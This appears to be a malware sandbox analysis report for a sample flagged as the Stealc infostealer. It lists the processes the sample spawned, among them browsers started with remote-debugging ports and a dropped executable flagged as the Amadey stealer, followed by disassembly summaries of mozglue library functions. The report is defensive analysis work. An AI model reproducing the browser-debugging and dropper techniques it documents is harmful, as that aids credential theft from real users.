2024-11-23 21:00:03 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Target ID:	0
Start time:	15:59:07
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x8c0000
File size:	1'789'952 bytes
MD5 hash:	E64035D85C07C76968207961C636BAFD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2688121262.000000000137E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2681153036.00000000008C1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2171878239.00000000051F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:59:17
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:59:18
Start date:	23/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2168,i,15450045308724304407,3334776206142890789,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	15:59:28
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	15:59:28
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2428 --field-trial-handle=2412,i,7409656468165010788,2301756924555516473,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	15:59:29
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	15:59:29
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2236 --field-trial-handle=1984,i,13239440553099230890,9220133317394539061,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	15:59:33
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6568 --field-trial-handle=1984,i,13239440553099230890,9220133317394539061,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	15:59:33
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6736 --field-trial-handle=1984,i,13239440553099230890,9220133317394539061,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	15:59:33
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7328 --field-trial-handle=1984,i,13239440553099230890,9220133317394539061,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	15:59:33
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7328 --field-trial-handle=1984,i,13239440553099230890,9220133317394539061,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	15:59:57
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIEBFHCAKFB.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	15:59:57
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	15:59:57
Start date:	23/11/2024
Path:	C:\Users\user\DocumentsIEBFHCAKFB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsIEBFHCAKFB.exe"
Imagebase:	0x10000
File size:	1'848'832 bytes
MD5 hash:	A218B8E66F929D65CEA126F98F026C66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001D.00000003.2668437916.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001D.00000002.2708832935.0000000000011000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	15:59:59
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xe0000
File size:	1'848'832 bytes
MD5 hash:	A218B8E66F929D65CEA126F98F026C66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001E.00000002.2731458973.00000000000E1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001E.00000003.2691182689.00000000048B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	16:00:29
Start date:	23/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6444 --field-trial-handle=1984,i,13239440553099230890,9220133317394539061,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C9735A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C9FF688,00001000), ref: 6C9735D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9735E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C9735FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C97363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C97369F
__aulldiv.LIBCMT ref: 6C9736E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C973773
EnterCriticalSection.KERNEL32(6C9FF688), ref: 6C97377E
LeaveCriticalSection.KERNEL32(6C9FF688), ref: 6C9737BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C9737C4
EnterCriticalSection.KERNEL32(6C9FF688), ref: 6C9737CB
LeaveCriticalSection.KERNEL32(6C9FF688), ref: 6C973801
__aulldiv.LIBCMT ref: 6C973883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C973902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C973918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C97394C

Strings

QPC, xrefs: 6C9738FC
GTC, xrefs: 6C973912
GenuntelineI, xrefs: 6C973639
MOZ_TIMESTAMP_MODE, xrefs: 6C9735DB
AuthcAMDenti, xrefs: 6C973946

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 7a8ffbf83bd514519975cd80037cfd8359b0eb2f503791162dfa604506fb0c43
Instruction ID: d0d750ac90ff1056bfa2ca1ce8a314314345509aeaea448e97a0786b2fb90ce2
Opcode Fuzzy Hash: 7a8ffbf83bd514519975cd80037cfd8359b0eb2f503791162dfa604506fb0c43
Instruction Fuzzy Hash: 85B1B2B1B093149BDB18DF38D44465E7BF9BB8A704F24892DE9A9D3750EB30D801CB91

Function 6C98C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C98C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C98C969
GetSystemInfo.KERNEL32(?), ref: 6C98C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C98C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C98C9E2

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 84c5bfda3c6292df1de72dde4d266529e929f3c1f97298657466e5288d804581
Instruction ID: af2cd4140d1f6ca2312aa1d56a49d15fff7420ee7c03c09785c3698cf728fd2d
Opcode Fuzzy Hash: 84c5bfda3c6292df1de72dde4d266529e929f3c1f97298657466e5288d804581
Instruction Fuzzy Hash: F321F932746214ABDB04AE64EC84BAE73B9AF46704F60065AF957A7B40DB71DC04C7A1

Function 6C973060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C973095

Part of subcall function 6C9735A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C9FF688,00001000), ref: 6C9735D5
Part of subcall function 6C9735A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9735E0
Part of subcall function 6C9735A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C9735FD
Part of subcall function 6C9735A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C97363F
Part of subcall function 6C9735A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C97369F
Part of subcall function 6C9735A0: __aulldiv.LIBCMT ref: 6C9736E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C97309F

Part of subcall function 6C995B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9956EE,?,00000001), ref: 6C995B85
Part of subcall function 6C995B50: EnterCriticalSection.KERNEL32(6C9FF688,?,?,?,6C9956EE,?,00000001), ref: 6C995B90
Part of subcall function 6C995B50: LeaveCriticalSection.KERNEL32(6C9FF688,?,?,?,6C9956EE,?,00000001), ref: 6C995BD8
Part of subcall function 6C995B50: GetTickCount64.KERNEL32 ref: 6C995BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C9730BE

Part of subcall function 6C9730F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C973127
Part of subcall function 6C9730F0: __aulldiv.LIBCMT ref: 6C973140

Part of subcall function 6C9AAB2A: __onexit.LIBCMT ref: 6C9AAB30

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: a89c228e545dd288f330ab736a0b45352c27a36278ea1bf323cfc6a454b8df69
Instruction ID: 42de146e6d6d4090fffa5d769696378318457cbbfffda53b6e1066b83259dcd8
Opcode Fuzzy Hash: a89c228e545dd288f330ab736a0b45352c27a36278ea1bf323cfc6a454b8df69
Instruction Fuzzy Hash: F9F0F922D28B4C97CB10DF74A8411EE73B0AF7B11CF605319E86467651FF20A1D8C396

Non-executed Functions

Function 6C985440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C985492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9854A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9854BE
__Init_thread_footer.LIBCMT ref: 6C9854DB

Part of subcall function 6C9AAB3F: EnterCriticalSection.KERNEL32(6C9FE370,?,?,6C973527,6C9FF6CC,?,?,?,?,?,?,?,?,6C973284), ref: 6C9AAB49
Part of subcall function 6C9AAB3F: LeaveCriticalSection.KERNEL32(6C9FE370,?,6C973527,6C9FF6CC,?,?,?,?,?,?,?,?,6C973284,?,?,6C9956F6), ref: 6C9AAB7C

Part of subcall function 6C9ACBE8: GetCurrentProcess.KERNEL32(?,6C9731A7), ref: 6C9ACBF1
Part of subcall function 6C9ACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9731A7), ref: 6C9ACBFA

GetCurrentThreadId.KERNEL32 ref: 6C9854F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C985516
GetCurrentThreadId.KERNEL32 ref: 6C98556A
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C985577
moz_xmalloc.MOZGLUE(00000070), ref: 6C985585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C985590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C9855E6
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C985606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C985616

Part of subcall function 6C9AAB89: EnterCriticalSection.KERNEL32(6C9FE370,?,?,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284), ref: 6C9AAB94
Part of subcall function 6C9AAB89: LeaveCriticalSection.KERNEL32(6C9FE370,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284,?,?,6C9956F6), ref: 6C9AABD1

GetCurrentThreadId.KERNEL32 ref: 6C98563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C985646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C98567C
free.MOZGLUE(?), ref: 6C9856AE

Part of subcall function 6C995E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C995EDB
Part of subcall function 6C995E90: memset.VCRUNTIME140(6C9D7765,000000E5,55CCCCCC), ref: 6C995F27
Part of subcall function 6C995E90: LeaveCriticalSection.KERNEL32(?), ref: 6C995FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C9856E8
GetCurrentThreadId.KERNEL32 ref: 6C985707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C98570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C985729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C98574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C98576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C985796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C9857B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C9857CA

Strings

- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C985D24
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C9857AE
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C985717
MOZ_PROFILER_STARTUP, xrefs: 6C9855E1
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C985749
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C9856E3
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C985D01
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C985BBE
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C985D2B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9854B9
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C98548D
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C985791
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C985AC9
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9857C5
GeckoMain, xrefs: 6C985554, 6C9855D5
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9854A3
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C985766
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C985C56
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C985724
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C985CF9
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C985D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C98584E
MOZ_BASE_PROFILER_HELP, xrefs: 6C985511
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C985B38
[I %d/%d] profiler_init, xrefs: 6C98564E

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: df29e8d76ed383bcb5e9dc5938092102f60c3adf406df914df4dd8b358b42f93
Instruction ID: bf8625e436fdec65f52a6e8e293f688b6909c0ac4de301b28583b89e7d01d92d
Opcode Fuzzy Hash: df29e8d76ed383bcb5e9dc5938092102f60c3adf406df914df4dd8b358b42f93
Instruction Fuzzy Hash: B72216719093409FFB009F74984865AB7F9AFA630CF24492AE86B97B41E731C84DCB53

Function 6C9BB820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9BB845
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8,?,?,00000000), ref: 6C9BB852
